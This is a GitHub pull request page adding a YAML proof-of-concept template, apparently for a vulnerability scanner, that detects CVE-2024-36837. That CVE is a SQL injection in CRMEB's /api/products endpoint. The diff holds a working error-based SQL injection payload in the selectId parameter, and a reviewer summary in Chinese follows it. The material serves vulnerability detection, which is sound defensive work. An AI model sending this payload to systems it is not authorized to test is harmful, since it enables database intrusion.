-
Notifications
You must be signed in to change notification settings - Fork 1.9k
add CRMEB /api/products SQL(CVE-2024-36837) #1843
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
WingBy-Fkalis
wants to merge
2
commits into
chaitin:master
Choose a base branch
from
WingBy-Fkalis:master
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,22 @@ | ||
| name: poc-yaml-cve-2024-36837 | ||
| transport: http | ||
| rules: | ||
| r0: | ||
| request: | ||
| method: GET | ||
| path: >- | ||
| /api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(123123)))),0x7e),3550) | ||
| follow_redirects: false | ||
| headers: | ||
| User-Agent: >- | ||
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, | ||
| like Gecko) Chrome/70.0.3538.77 Safari/537.36 | ||
| expression: >- | ||
| response.status == 200 && | ||
|
Comment on lines
+14
to
+15
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 建议在 |
||
| response.body_string.contains("4297f44b13955235245b2497399d7a93") | ||
| expression: r0() | ||
| detail: | ||
| author: fkalis | ||
| links: | ||
| - >- | ||
| https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/CVE-2024-36837%20%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.md | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pull Request 概述\n\n该 PR 添加了一个用于检测 CRMEB /api/products SQL 注入漏洞(CVE-2024-36837)的 POC 文件。该漏洞允许攻击者通过构造恶意的请求参数执行任意 SQL 命令,可能获取、修改或删除数据库中的敏感信息。\n\n## 文件变更说明\n\n- pocs/cve-2024-36837.yml:新增了用于检测 CVE-2024-36837 漏洞的 YAML 配置文件。该文件定义了一个 HTTP 请求规则,通过发送包含特定 SQL 注入载荷的 GET 请求来检测目标系统是否存在漏洞。规则检查响应中是否包含特定的 MD5 哈希值(
4297f44b13955235245b2497399d7a93),以此判断漏洞是否存在。\n\n该变更符合项目贡献指南中关于新增 POC 的要求。